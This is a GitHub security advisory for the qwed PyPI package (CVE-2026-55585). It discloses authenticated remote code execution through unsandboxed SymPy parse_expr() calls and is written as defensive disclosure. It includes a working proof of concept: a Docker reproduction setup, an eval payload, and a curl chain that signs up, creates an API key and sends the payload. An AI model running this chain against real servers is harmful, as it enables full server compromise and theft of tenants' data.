GitHub Advisoryadvisory · PyPI

GHSA-q27q-98j4-9pfv qwed Vulnerable to Authenticated Remote Code Execution via Unsafe SymPy `parse_expr()`

HIGH Published 2026-08-25 Modified 2026-08-25 Official page ↗
Aliases
CVE-2026-55585
Ecosystem
PyPI
Packages
qwed
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Weaknesses
CWE-94
Reviewed
2026-08-25

Affected packages

• PyPI qwed: < 5.1.2 → fixed in 5.1.2

Description

Summary The `qwed` package (version 5.1.1) passes attacker-controlled input directly to SymPy's `parse_expr()` function without a restricted namespace. Because `parse_expr()` internally calls Python's `eval()`, any authenticated tenant can execute arbitrary Python code inside the API server process. The attack requires only a standard user account, which is freely obtainable through the default-enabled `/auth/signup` endpoint. Successful exploitation gives the attacker full read/write access to the filesystem and the ability to execute operating system commands, resulting in complete server compromise. Details The vulnerability exists in two independently reachable code paths: Primary sink — `POST /verify/math` `src/qwed_new/api/main.py:442` defines the `/verify/math` route, protected only by `get_current_tenant` (line 444), which accepts any valid tenant API key. The request body field `expression` is read at line 463 and passed through a cosmetic regex normalization at line 495 (`re.sub(r'(\d)(\()', r'\1*\2', expression)`) that performs no security validation. The normalized string is then passed directly to `parse_expr()` at line 504: ```python src/qwed_new/api/main.py expression = request.get("expression") ... expression_normalized = re.sub(r'(\d)(\()', r'\1*\2', expression) ... parsed = parse_expr(expression_normalized) # line 504 — unsandboxed eval ``` Secondary sink — `POST /verify/batch` `src/qwed_new/api/main.py:1481` defines the `/verify/batch` route. Batch items flow through `batch_service.create_job()` (line 1517) into `batch.py:132` where `item.query` is stored verbatim, then processed by `_verify_item()` (line 167). When the item type is `VerificationType.MATH` (line 222), the expression is passed to `parse_expr()` at line 239 with no sanitization: ```python src/qwed_new/core/batch.py expression = item.query ... parsed = parse_expr(expression) # line 239 — unsandboxed eval ``` `parse_expr()` accepts a `global_dict` and `local_dict` parameter that, when set to `{"__builtins__": {}}` and an allowlist respectively, restrict what names are accessible during evaluation. Neither call site sets these parameters, leaving the full Python built-in namespace available to the attacker. PoC Environment setup (Docker) ```bash Build from repository root (one level above vuln-001/) docker build -t qwed-vuln-001 -f vuln-001/Dockerfile . Run the server (binds to localhost:8765) docker run -d -p 127.0.0.1:8765:8765 --name qwed-vuln-001 qwed-vuln-001 ``` The Dockerfile installs `qwed` from the local repository source with all dependencies and starts the server with the following environment: • `QWED_JWT_SECRET_KEY=test-jwt-secret-abcdefghijklmnopqrstuvwxyz0123456789` • `API_KEY_SECRET=test-api-key-secret-abcdefghijklmnopqrstuvwxyz0123456789` • `QWED_CORS_ORIGINS=http://localhost` • `QWED_SKIP_ENV_INTEGRITY_CHECK=true` • `DATABASE_URL=sqlite:////tmp/qwed-poc.db` Automated exploit (`poc.py`) ```bash python3 vuln-001/poc.py --host 127.0.0.1 --port 8765 ``` The script performs three steps: 1. Register an account — `POST /auth/signup` with arbitrary email/password/organization (no invite code or admin approval required). 2. Obtain an API key — `POST /auth/api-keys` using the JWT returned from signup. 3. Send the RCE payload — `POST /verify/math` with the `x-api-key` header and the expression: ``` __import__('pathlib').Path('/tmp/qwed_parse_expr_rce').write_text('pwned_by_parse_expr_rce') ``` Expected output ``` [+] Server is ready. [+] Account created; JWT bearer token obtained. [+] API key (first 20 chars): qwed_live_WwNm86Fpnh... [*] expression = __import__('pathlib').Path('/tmp/qwed_parse_expr_rce').write_text('pwned_by_parse_expr_rce') [*] HTTP status : 200 [*] HTTP response: {"is_valid": true, "value": 23.0, "simplified": "23", "original": "23"} [PASS] HTTP 200 returned — payload evaluated without error. ``` The server returns HTTP 200 and `{"value": 23.0}` — the return value of `write_text()` (23 bytes written), cast by SymPy to `Integer(23)`. This proves the Python expression was executed inside the server process. Decisive verification ```bash docker exec qwed-vuln-001 cat /tmp/qwed_parse_expr_rce Expected: pwned_by_parse_expr_rce ``` The same technique applies to `POST /verify/batch` by submitting a batch job with a math item whose `query` field contains the payload; a separate marker file `/tmp/qwed_batch_parse_expr_rce` was also confirmed during dynamic testing. Manual curl reproduction (no Python script) ```bash Step 1: sign up and capture JWT TOKEN=$(curl -sS -X POST http://127.0.0.1:8765/auth/signup \ -H 'Content-Type: application/json' \ -d '{"email":"[email protected]","password":"Password123!","organization_name":"poc-org"}' \ | python3 -c 'import sys,json; print(json.load(sys.stdin)["access_token"])') Step 2: create API key APIKEY=$(curl -sS -X POST http://127.0.0.1:8765/auth/api-keys \ -H 'Content-Type: application/json' \ -H "Authorization: Bearer $TOKEN" \ -d '{"name":"poc"}' \ | python3 -c 'import sys,json; print(json.load(sys.stdin)["key"])') Step 3: send payload rm -f /tmp/qwed_parse_expr_rce curl -sS -X POST http://127.0.0.1:8765/verify/math \ -H 'Content-Type: application/json' \ -H "x-api-key: $APIKEY" \ -d '{"expression":"__import__('"'"'pathlib'"'"').Path('"'"'/tmp/qwed_parse_expr_rce'"'"').write_text('"'"'owned'"'"')"}' Step 4: confirm file was written by the server process cat /tmp/qwed_parse_expr_rce Expected: owned ``` Impact This is an Authenticated Remote Code Execution vulnerability. Any user who can create a tenant account (which is possible by default, since `/auth/signup` requires no invitation or administrator approval) can execute arbitrary Python code inside the API server process with the privileges of the server's operating system user. Concrete impact includes: • Confidentiality — read any file accessible to the server process (environment variables, secret keys, database contents, source code). • Integrity — write or overwrite any file accessible to the server process, modify database records, plant backdoors. • Availability — terminate the server process, exhaust resources, corrupt persistent storage. In a shared multi-tenant deployment, a single tenant can compromise the entire server, affecting all other tenants' data. In a containerized deployment, the immediate impact is container-level compromise; lateral movement depends on the container's network and volume configuration. Reproduction artifacts `Dockerfile` ```dockerfile VULN-001 Reproduction Environment Authenticated RCE via Unsafe SymPy parse_expr() in QWED 5.1.1 Build from the repo root (one level above vuln-001/): docker build -t qwed-vuln-001 -f vuln-001/Dockerfile . Run: docker run -d -p 127.0.0.1:8765:8765 --name qwed-vuln-001 qwed-vuln-001 FROM python:3.12-slim-bookworm ENV PYTHONDONTWRITEBYTECODE=1 \ PYTHONUNBUFFERED=1 WORKDIR /app Install minimal build dependencies required by some native extensions RUN apt-get update \ && apt-get install -y --no-install-recommends gcc g++ \ && apt-get clean \ && rm -rf /var/lib/apt/lists/* Copy the repository source COPY repo/ /app/repo/ Install hatchling build backend, then install the package with all dependencies z3-solver==4.13.3.0 is pinned in pyproject.toml; wheels are available for CPython 3.12 RUN pip install --no-cache-dir --upgrade pip hatchling \ && pip install --no-cache-dir -e /app/repo Runtime environment variables — minimal set required to start the server ENV QWED_JWT_SECRET_KEY="test-jwt-secret-abcdefghijklmnopqrstuvwxyz0123456789" \ API_KEY_SECRET="test-api-key-secret-abcdefghijklmnopqrstuvwxyz0123456789" \ QWED_CORS_ORIGINS="http://localhost" \ QWED_SKIP_ENV_INTEGRITY_CHECK="true" \ DATABASE_URL="sqlite:////tmp/qwed-poc.db" EXPOSE 8765 CMD ["python3", "-m", "uvicorn", "qwed_new.api.main:app", \ "--host", "0.0.0.0", "-…

Related

Alias · CVE (1)

  • CVE-2026-55585 QWED is open-source AI verification infrastructure for deterministic verification of LLM outputs, tool calls, code, schemas, and agent… vulnerability

Weakness · CWE (1)

  • CWE-94 Improper Control of Generation of Code weakness

References